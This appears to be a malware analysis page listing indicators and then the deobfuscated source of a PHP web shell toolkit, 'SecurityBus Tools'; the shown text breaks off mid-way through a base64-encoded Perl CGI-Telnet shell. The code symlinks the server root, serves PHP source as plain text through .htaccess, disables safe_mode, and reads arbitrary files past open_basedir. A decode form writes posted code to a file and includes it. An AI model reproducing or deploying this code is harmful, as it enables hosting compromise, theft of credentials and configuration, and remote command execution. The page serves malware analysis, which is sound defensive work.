PHP Malware Analysis

Back to list

Tags

Encoding
base64_decode
base64_encode
URLs
file:///
http://www.rohitab.com/
http://www.rohitab.com/support/
http://www.rohitab.com/discuss/
http://www.rohitab.com/mlist/
http://www.yourserver.com/cgi-bin/cgitelnet.pl
http://www.canyouseeme.org/
http://www.canyouseeme.org/
http://www.php.net/manual/en/function.htmlentities.php
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd
http://www.w3.org/1999/xhtml
http://home.disney.go.com/
http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c
http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz
http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c
http://whois.domaintools.com/
http://whois.domaintools.com/
http://www.fx0.name
http://passcracking.com
http://google.com/search
http://fx0.name/spec/index.php/pic.png?a=http://
http://i50.tinypic.com/1zg886s.jpg
http://i50.tinypic.com/1zg886s.jpg
http://i50.tinypic.com/1zg886s.jpg
http://www.google.com/search?q=
http://bing.com/search?q=ip
http://whois.webhosting.info/
http://www.md5decrypter.co.uk/
http://www.md5decrypter.co.uk/sha1-decrypt.aspx
http://www.md5decrypter.co.uk/ntlm-decrypt.aspx
http://i1124.photobucket.com/albums/l575/givay/th_matrix.gif
http://i1124.photobucket.com/albums/l575/givay/th_matrix.gif
http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif
http://i1124.photobucket.com/albums/l575/givay/th_matrix.gif
http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif
http://imageshack.com/a/img585/3157/deqg.jpg
http://www.4ngel.net/phpspy/plugin/
http://i1124.photobucket.com/albums/l575/givay/th_matrix.gif
http://bysic.co.cc/ZH.png
http://zone-h.org/notify/single
Emails
rohitab@rohitab.com
UNITX_TEAM@HOTMAIL.COM
document.f.@_.focus
fx0@fx0.name
email@example.com
s4f3w3b@yahoo.com
blog24h@gmail.com
Execution
system
eval
exec
passthru
proc_open
shell_exec
Input
_GET
_POST
Environment
set_time_limit
error_reporting
php_uname
getcwd

Deobfuscated code

<head>
<meta name="keywords" content="Tools Headquarters Group x3">
<meta name="description" content="Tools Headquarters Group x3">
<title>SecurityBus Tools </title>
</head>

<?php 
# Tool Symlink
if ($_POST[tool] == 'sym') {
    $sym = "sym";
    mkdir('sym');
    chdir('./sym');
    system('ln -s / 1.txt');
    $htaccess = fopen('.htaccess', 'a+');
    fwrite($htaccess, "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html");
    fclose($htaccess);
    echo "<a href='./sym/1.txt'>Here Sym</a><br>";
    # Tool php.ini
} elseif ($_POST[tool] == 'phpini') {
    $ini = "phpini";
    mkdir($ini);
    $safe = fopen("./phpini/php.ini", 'a+');
    $tryag = fopen("./phpini/tryag.php", 'a+');
    $filetryag = 'PD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQplY2hvICc8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KYm9keSB7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCgljb2xvcjogI2ZmZmZmZjsNCn0NCi50aXRsZSB7DQoJZm9udC1zaXplOiAyNHB4Ow0KCWNvbG9yOiAjZmZmZmZmOw0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KaW5wdXQsdGV4dGFyZWF7DQpjb2xvcjogIzAwRkYwMDsNCmZvbnQtd2VpZ2h0OiBib2xkOw0KZGFzaGVkICNmZmZmZmY7DQpib3JkZXI6IDFweA0Kc29saWQgIzAwRkYwMDsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDANCn0NCi0tPg0KPC9zdHlsZT4NCjx0aXRsZT5Db25maWcgU2NhcmUgdG9vbCB2LjE8L3RpdGxlPg0KPGNlbnRlcj4NCjx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIxIiBjZWxsc3BhY2luZz0iMCIgYm9yZGVyY29sb3I9IiMwMEZGMDAiPg0KICA8dHI+DQogICAgPHRkIGJnY29sb3I9IiMwMDMzMDAiPjxkaXYgY2xhc3M9dGl0bGUgYWxpZ249Y2VudGVyPjxNQVJRVUVFIGRpcmVjdGlvbj0ibGVmdCI+Q29uZmlnIFNjYXJlIHRvb2wgdi4xPC9NQVJRVUVFPjwvZGl2PjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgPHRkPic7DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KJHN5bWwgPSBAZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJyk7DQokbXlzcWwgPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7DQokaW5pcmVzID0gQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3Jlc3RvcmUnKTsNCiRjb3B5ID0gQGZ1bmN0aW9uX2V4aXN0cygnY29weScpOw0KJGN1cmwgPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2V4ZWMnKTsNCiRzYWZlbW9kID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KJGJhc2UgPSBAaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KZWNobyAnPGI+U2FmZSBtb2QgOiAnOw0KaWYoJHNhZmVtb2Qpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOw0KCQkJfQ0KCQkJZWxzZXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPlN5bWxpbmsgOiAnOw0KCQkJaWYoJHN5bWwpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPkluaV9yZXN0b3JlIDogJzsNCgkJCWlmKCRpbmlyZXMpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPkNvcHkgOiAnOw0KCQkJaWYoJGNvcHkpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPkN1cmwgOiAnOw0KCQkJaWYoJGN1cmwpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250Pic7DQoJCQl9DQoJCQllbHNlew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzxiciAvPk9wZW4gYmFzZSBkaXIgOiAnOw0KCQkJaWYoJGJhc2Upew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOw0KCQkJfQ0KCQkJZWxzZXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVjaG8gJzwvYj4nOw0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCgllY2hvICc8Y2VudGVyPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/cmVhZCI+DQoJCQkgICA8aW5wdXQgbmFtZT0iZmlsZWN3ZCIgdHlwZT0idGV4dCIgdmFsdWU9IicuZ2V0Y3dkKCkuJyIgc2l6ZT0iNDAiPg0KCQkJICAgPGlucHV0IG5hbWU9ImZpbGVyZWFkIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJyZWFkIj4NCgkJCSAgIDwvZm9ybT4nOw0KCQkJICAgaWYoaXNzZXQoJF9HRVRbJ3JlYWQnXSkpew0KCQkJICAgCSRmaWxlY3dkID0gJF9QT1NUWydmaWxlY3dkJ107DQoJCQkgICAJaWYoJHN5bWwpew0KCQkJZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj5TeW1saW5rPC9kaXY+JzsNCgkJCSRzeW1sbWEgPSAkY3dkLiIvZy1iLnR4dCI7DQoJCSAgIAlAc3ltbGluaygkZmlsZWN3ZCwkc3ltbG1hKTsNCgkJICAgCWVjaG8gJzxjZW50ZXI+PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9kZWNvZGUiPg0KCQkJPHRleHRhcmVhIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9aW5wdXQ+JzsNCgkJICAgCSRjb250ZW50c3NzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRzeW1sbWEpOw0KCQkgICAJJGNvbnRlbnRzc3MgPSBAaHRtbHNwZWNpYWxjaGFycygkY29udGVudHNzcyk7DQoJCSAgIAllY2hvICRjb250ZW50c3NzOw0KCQkgICAJZWNobyAnPC90ZXh0YXJlYT48YnIgLz4NCgkJCSAgIDxpbnB1dCBuYW1lPSJkZWNvZGUiIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImRlY29kZSI+DQoJCQkJCQkJPC9mb3JtPjwvY2VudGVyPic7DQoJCSAgIAlAdW5saW5rKCJnLWIudHh0Iik7DQoJCSAgIAllY2hvICc8YnIgLz4nOw0KCQkJfQ0KCQkJaWYoJGluaXJlcyl7DQoJCQkJZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj5JbmkgcmVzdG9yZTwvZGl2Pg0KCQkJCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/ZGVjb2RlIj4NCgkJCQk8dGV4dGFyZWEgY29scz0iNzAiIHJvd3M9IjEwIiBuYW1lPSJjb2RlIj4nOw0KCQkJCSRpbmk9JF9QT1NUWydmaWxlY3dkJ107DQoJCQkJZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCgkJCQllY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KCQkJCWluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCgkJCQlpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQoJCQkJZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCgkJCQllY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KCQkJCSRzPSBAaHRtbHNwZWNpYWxjaGFycyhAZmlsZV9nZXRfY29udGVudHMoIiRpbmkiKSk7DQoJCQkJZWNobyAkczsNCgkJCQllY2hvICc8L3RleHRhcmVhPjxiciAvPg0KCQkJCQkgIDxpbnB1dCBuYW1lPSJkZWNvZGUiIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImRlY29kZSI+DQoJCQkJCSAgPC9mb3JtPg0KCQkJCTxiciAvPic7DQoJCQl9DQoJCQlpZigkY29weSl7DQoJCQkJZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj5Db3B5PC9kaXY+JzsNCgkJCQllY2hvICc8Y2VudGVyPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/ZGVjb2RlIj4NCgkJCQk8dGV4dGFyZWEgY29scz0iNzAiIHJvd3M9IjEwIiBjbGFzcz1pbnB1dD4nOw0KCQkJCQkJCSRuZXdmaWxlID0gImctYi50eHQiOw0KCQkJCQkJCSRmaWxlciA9ICRfUE9TVFsnZmlsZWN3ZCddOw0KCQkJCQkJCUBjb3B5KCRmaWxlciwkbmV3ZmlsZSk7DQoJCQkJCQkJJHJjb3B5ID0gQGh0bWxzcGVjaWFsY2hhcnMoQGZpbGVfZ2V0X2NvbnRlbnRzKCRuZXdmaWxlKSk7DQoJCQkJCQkJZWNobyAkcmNvcHk7DQoJCQkJCQkJQHVubGluaygkbmV3ZmlsZSk7DQoJCQkJCQkJZWNobyAnPC90ZXh0YXJlYT48YnIgLz4NCgkJCQkJCQk8aW5wdXQgbmFtZT0iZGVjb2RlIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJkZWNvZGUiPg0KCQkJCQkJCTwvZm9ybT48L2NlbnRlcj4NCgkJCQkJCQk8YnIgLz4nOw0KCQkJfQ0KCQkJaWYoJGN1cmwpew0KCQkJCWVjaG8gJzxkaXYgYWxpZ249ImNlbnRlciI+Q3VybDwvZGl2Pic7DQoJCQkJZWNobyAnPGNlbnRlcj48Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP2RlY29kZSI+DQoJCQkJPHRleHRhcmVhIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9aW5wdXQ+JzsNCgkJCQkJCQkkY3UgPSAkX1BPU1RbJ2ZpbGVjd2QnXTsNCgkJCQkJCQkkbGkgPSBAY3VybF9pbml0KCJmaWxlOi8vLyIuJGN1LiJceDAwLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuJ0M6XFVzZXJzXHRlc3RcRG93bmxvYWRzXERlWmVuZF9EZUNyeVxwaHA1IEdlbmVyaWMgRGVjb2RlclxwaHA1IEdlbmVyaWMgRGVjb2RlclxwaHA1IERlY29kZXJfX0ZJTEVfXzEtZW5jb2RlZFx0cnlhZy5waHAnKTsNCgkJCQkJCQlAdmFyX2R1bXAoQGN1cmxfZXhlYygkbGkpKTsNCgkJCQkJCQllY2hvICc8L3RleHRhcmVhPjxiciAvPg0KCQkJCQkJCTxpbnB1dCBuYW1lPSJkZWNvZGUiIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImRlY29kZSI+DQoJCQkJCQkJPC9mb3JtPjwvY2VudGVyPic7DQoJCQl9DQoJCQl9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCmlmKGlzc2V0KCRfR0VUWydkZWNvZGUnXSkpew0KCSRjb2RlID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsnY29kZSddKTsNCgkkb3BlbiA9IGZvcGVuKCJlbmNvZGUucGhwIiwidyIpOw0KCSR3cml0ZSA9IGZ3cml0ZSgkb3BlbiwkY29kZSk7DQoJaWYoJHdyaXRlKXsNCglpbmNsdWRlKCJlbmNvZGUucGhwIik7DQoJZWNobyAnPGNlbnRlcj48dGV4dGFyZWEgY29scz0iODAiIHJvd3M9IjIwIiBjbGFzcz1pbnB1dD4nOw0KCWVjaG8gJEdMT0JBTFNbJ09PMDBPMDBPMCddOw0KCWVjaG8gJzwvdGV4dGFyZWE+PC9jZW50ZXI+JzsNCgl9ZWxzZXsNCgkJZWNobyAnPHNjcmlwdD5hbGVydCgiRVJST1IiKTwvc2NyaXB0Pic7DQoJfQ0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KZWNobyAnPC90ZD48L3RyPg0KPHRyPg0KPHRkPjxkaXYgYWxpZ249Y2VudGVyIGNsYXNzPXRpdGxlPlNlY3VyaXR5QnVzPC9kaXY+PC90ZD4NCjwvdGFibGU+PC9jZW50ZXI+DQonOw0KDQo/Pg==';
    fwrite($safe, "safe_mode = off");
    fwrite($tryag, "<?php\r\n@set_time_limit(0);\r\n@error_reporting(0);\r\necho '<style type=\"text/css\">\r\n<!--\r\nbody {\r\n\tbackground-color: #000000;\r\n\tcolor: #ffffff;\r\n}\r\n.title {\r\n\tfont-size: 24px;\r\n\tcolor: #ffffff;\r\n\tfont-weight: bold;\r\n}\r\ninput,textarea{\r\ncolor: #00FF00;\r\nfont-weight: bold;\r\ndashed #ffffff;\r\nborder: 1px\r\nsolid #00FF00;\r\nbackground-color: #000000\r\n}\r\n-->\r\n</style>\r\n<title>Config Scare tool v.1</title>\r\n<center>\r\n<table width=\"600\" border=\"1\" cellpadding=\"1\" cellspacing=\"0\" bordercolor=\"#00FF00\">\r\n  <tr>\r\n    <td bgcolor=\"#003300\"><div class=title align=center><MARQUEE direction=\"left\">Config Scare tool v.1</MARQUEE></div></td>\r\n  </tr>\r\n  <tr>\r\n  <td>';\r\n#===============================================================================\r\n\$syml = @function_exists('symlink');\r\n\$mysql = @function_exists('mysql_connect');\r\n\$inires = @function_exists('ini_restore');\r\n\$copy = @function_exists('copy');\r\n\$curl = @function_exists('curl_exec');\r\n\$safemod = @ini_get('safe_mode');\r\n\$base = @ini_get(\"open_basedir\");\r\n#===============================================================================\r\necho '<b>Safe mod : ';\r\nif(\$safemod){\r\n\t\t\t\techo '<font color=red>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=green>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '<br />Symlink : ';\r\n\t\t\tif(\$syml){\r\n\t\t\t\techo '<font color=green>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=red>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '<br />Ini_restore : ';\r\n\t\t\tif(\$inires){\r\n\t\t\t\techo '<font color=green>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=red>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '<br />Copy : ';\r\n\t\t\tif(\$copy){\r\n\t\t\t\techo '<font color=green>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=red>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '<br />Curl : ';\r\n\t\t\tif(\$curl){\r\n\t\t\t\techo '<font color=green>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=red>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '<br />Open base dir : ';\r\n\t\t\tif(\$base){\r\n\t\t\t\techo '<font color=red>ON</font>';\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\techo '<font color=green>OFF</font>';\r\n\t\t\t}\r\n\t\t\techo '</b>';\r\n#===============================================================================\r\n\techo '<center><form method=\"POST\" action=\"?read\">\r\n\t\t\t   <input name=\"filecwd\" type=\"text\" value=\"'.getcwd().'\" size=\"40\">\r\n\t\t\t   <input name=\"fileread\" type=\"submit\" value=\"read\">\r\n\t\t\t   </form>';\r\n\t\t\t   if(isset(\$_GET['read'])){\r\n\t\t\t   \t\$filecwd = \$_POST['filecwd'];\r\n\t\t\t   \tif(\$syml){\r\n\t\t\techo '<div align=\"center\">Symlink</div>';\r\n\t\t\t\$symlma = \$cwd.\"/g-b.txt\";\r\n\t\t   \t@symlink(\$filecwd,\$symlma);\r\n\t\t   \techo '<center><form method=\"POST\" action=\"?decode\">\r\n\t\t\t<textarea cols=\"70\" rows=\"10\" class=input>';\r\n\t\t   \t\$contentsss = @file_get_contents(\$symlma);\r\n\t\t   \t\$contentsss = @htmlspecialchars(\$contentsss);\r\n\t\t   \techo \$contentsss;\r\n\t\t   \techo '</textarea><br />\r\n\t\t\t   <input name=\"decode\" type=\"submit\" value=\"decode\">\r\n\t\t\t\t\t\t\t</form></center>';\r\n\t\t   \t@unlink(\"g-b.txt\");\r\n\t\t   \techo '<br />';\r\n\t\t\t}\r\n\t\t\tif(\$inires){\r\n\t\t\t\techo '<div align=\"center\">Ini restore</div>\r\n\t\t\t\t<form method=\"POST\" action=\"?decode\">\r\n\t\t\t\t<textarea cols=\"70\" rows=\"10\" name=\"code\">';\r\n\t\t\t\t\$ini=\$_POST['filecwd'];\r\n\t\t\t\techo ini_get(\"safe_mode\");\r\n\t\t\t\techo ini_get(\"open_basedir\");\r\n\t\t\t\tini_restore(\"safe_mode\");\r\n\t\t\t\tini_restore(\"open_basedir\");\r\n\t\t\t\techo ini_get(\"safe_mode\");\r\n\t\t\t\techo ini_get(\"open_basedir\");\r\n\t\t\t\t\$s= @htmlspecialchars(@file_get_contents(\"\$ini\"));\r\n\t\t\t\techo \$s;\r\n\t\t\t\techo '</textarea><br />\r\n\t\t\t\t\t  <input name=\"decode\" type=\"submit\" value=\"decode\">\r\n\t\t\t\t\t  </form>\r\n\t\t\t\t<br />';\r\n\t\t\t}\r\n\t\t\tif(\$copy){\r\n\t\t\t\techo '<div align=\"center\">Copy</div>';\r\n\t\t\t\techo '<center><form method=\"POST\" action=\"?decode\">\r\n\t\t\t\t<textarea cols=\"70\" rows=\"10\" class=input>';\r\n\t\t\t\t\t\t\t\$newfile = \"g-b.txt\";\r\n\t\t\t\t\t\t\t\$filer = \$_POST['filecwd'];\r\n\t\t\t\t\t\t\t@copy(\$filer,\$newfile);\r\n\t\t\t\t\t\t\t\$rcopy = @htmlspecialchars(@file_get_contents(\$newfile));\r\n\t\t\t\t\t\t\techo \$rcopy;\r\n\t\t\t\t\t\t\t@unlink(\$newfile);\r\n\t\t\t\t\t\t\techo '</textarea><br />\r\n\t\t\t\t\t\t\t<input name=\"decode\" type=\"submit\" value=\"decode\">\r\n\t\t\t\t\t\t\t</form></center>\r\n\t\t\t\t\t\t\t<br />';\r\n\t\t\t}\r\n\t\t\tif(\$curl){\r\n\t\t\t\techo '<div align=\"center\">Curl</div>';\r\n\t\t\t\techo '<center><form method=\"POST\" action=\"?decode\">\r\n\t\t\t\t<textarea cols=\"70\" rows=\"10\" class=input>';\r\n\t\t\t\t\t\t\t\$cu = \$_POST['filecwd'];\r\n\t\t\t\t\t\t\t\$li = @curl_init(\"file:///\".\$cu.\"\\x00/../../../../../../../../../../../../\".'C:\\Users\\test\\Downloads\\DeZend_DeCry\\php5 Generic Decoder\\php5 Generic Decoder\\php5 Decoder__FILE__1-encoded\\tryag.php');\r\n\t\t\t\t\t\t\t@var_dump(@curl_exec(\$li));\r\n\t\t\t\t\t\t\techo '</textarea><br />\r\n\t\t\t\t\t\t\t<input name=\"decode\" type=\"submit\" value=\"decode\">\r\n\t\t\t\t\t\t\t</form></center>';\r\n\t\t\t}\r\n\t\t\t}\r\n#==========================================================================================================================\r\nif(isset(\$_GET['decode'])){\r\n\t\$code = stripslashes(\$_POST['code']);\r\n\t\$open = fopen(\"encode.php\",\"w\");\r\n\t\$write = fwrite(\$open,\$code);\r\n\tif(\$write){\r\n\tinclude(\"encode.php\");\r\n\techo '<center><textarea cols=\"80\" rows=\"20\" class=input>';\r\n\techo \$GLOBALS['OO00O00O0'];\r\n\techo '</textarea></center>';\r\n\t}else{\r\n\t\techo '<script>alert(\"ERROR\")</script>';\r\n\t}\r\n}\r\n#===========================================================================================================================\r\necho '</td></tr>\r\n<tr>\r\n<td><div align=center class=title>SecurityBus</div></td>\r\n</table></center>\r\n';\r\n\r\n?>");
    fclose($safe);
    echo "<a href='./phpini/php.ini'>Here php.ini</a><br>";
    echo "<a href='./phpini/tryag.php'>Here tryag.php</a><br>";
    # Tool perl.pl
} elseif ($_POST[tool] == 'perl') {
    $perl = "perl";
    mkdir('perl');
    chdir('perl');
    #$xEn = fopen('telnet2.cgi','a+');
    $fileencode = 'IyEvdXNyL2Jpbi9wZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvcHlyaWdodCBhbmQgTGljZW5jZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDR0ktVGVsbmV0IFZlcnNpb24gMS4wIGZvciBOVCBhbmQgVW5peCA6IFJ1biBDb21tYW5kcyBvbiB5b3VyIFdlYiBTZXJ2ZXINCiMNCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmENCiMgUGVybWlzc2lvbiBpcyBncmFudGVkIHRvIHVzZSwgZGlzdHJpYnV0ZSBhbmQgbW9kaWZ5IHRoaXMgc2NyaXB0IHNvIGxvbmcNCiMgYXMgdGhpcyBjb3B5cmlnaHQgbm90aWNlIGlzIGxlZnQgaW50YWN0LiBJZiB5b3UgbWFrZSBjaGFuZ2VzIHRvIHRoZSBzY3JpcHQNCiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQ0KIyBpbiB0aGlzIHNjcmlwdCwgeW91IGNhbiBlLW1haWwgbWUuDQojDQojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQ0KIyBBdXRob3IgZS1tYWlsOiByb2hpdGFiQHJvaGl0YWIuY29tDQojIEF1dGhvciBIb21lcGFnZTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS8NCiMgU2NyaXB0IEhvbWVwYWdlOiBtYWlsdG86VU5JVFhfVEVBTUBIT1RNQUlMLkNPTQ0KIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8NCiMgRGlzY3Vzc2lvbiBGb3J1bTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9kaXNjdXNzLw0KIyBNYWlsaW5nIExpc3Q6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgSW5zdGFsbGF0aW9uDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRvIGluc3RhbGwgdGhpcyBzY3JpcHQNCiMNCiMgMS4gTW9kaWZ5IHRoZSBmaXJzdCBsaW5lICIjIS91c3IvYmluL3BlcmwiIHRvIHBvaW50IHRvIHRoZSBjb3JyZWN0IHBhdGggb24NCiMgICAgeW91ciBzZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMuDQojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4NCiMgMy4gSWYgeW91J3JlIHJ1bm5pbmcgdGhlIHNjcmlwdCB1bmRlciBXaW5kb3dzIE5ULCBzZXQgJFdpbk5UID0gMSBpbiB0aGUNCiMgICAgQ29uZmlndXJhdGlvbiBTZWN0aW9uIGJlbG93Lg0KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8NCiMgICAgZXhlY3V0ZSBDR0kgc2NyaXB0cy4gVGhpcyBpcyB1c3VhbGx5IGNnaS1iaW4uIE1ha2Ugc3VyZSB0aGF0IHlvdSB1cGxvYWQNCiMgICAgdGhlIHNjcmlwdCBpbiBBU0NJSSBtb2RlLg0KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4NCiMgNi4gT3BlbiB0aGUgc2NyaXB0IGluIHlvdXIgd2ViIGJyb3dzZXIuIElmIHlvdSB1cGxvYWRlZCB0aGUgc2NyaXB0IGluDQojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJlIGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwNCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdlIG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS